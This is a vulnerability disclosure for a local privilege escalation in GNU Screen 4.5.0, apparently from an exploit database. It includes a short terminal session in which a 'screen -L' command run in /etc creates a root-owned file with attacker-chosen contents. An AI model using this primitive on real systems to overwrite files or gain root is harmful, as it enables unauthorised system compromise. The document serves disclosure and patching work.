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GNU Screen 4.5.0 - Privilege Escalation Vulnerability
Commit f86a374 ("screen.c: adding permissions check for the logfile name",
2015-11-04)
The check opens the logfile with full root privileges. This allows us to
truncate any file or create a root-owned file with any contents in any
directory and can be easily exploited to full root access in several ways.
> [email protected]:~$ screen --version
> Screen version 4.05.00 (GNU) 10-Dec-16
> [email protected]:~$ id
> uid=125(buczek) gid=125(buczek)
groups=125(buczek),15(users),19(adm),42(admin),154(Omp3grp),200(algrgrp),209(cdgrp),242(gridgrp),328(nchemgrp),407(hoeheweb),446(spwgrp),453(helpdesk),512(twikigrp),584(zmgrp),598(edv),643(megamgrp),677(greedgrp),5000(abt_srv),16003(framesgr),16012(chrigrp),17001(priv_cpw)
> [email protected]:~$ cd /etc
> [email protected]:/etc (master)$ screen -D -m -L bla.bla echo fail
> [email protected]:/etc (master)$ ls -l bla.bla
> -rw-rw---- 1 root buczek 6 Jan 24 19:58 bla.bla
> [email protected]:/etc (master)$ cat bla.bla
> fail
> [email protected]:/etc (master)$
Donald Buczek <[email protected]>
EDB Note: Follows up: http://seclists.org/oss-sec/2017/q1/184
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25 Jan 2017 00:00Current
6.8Medium risk
Vulners AI Score6.8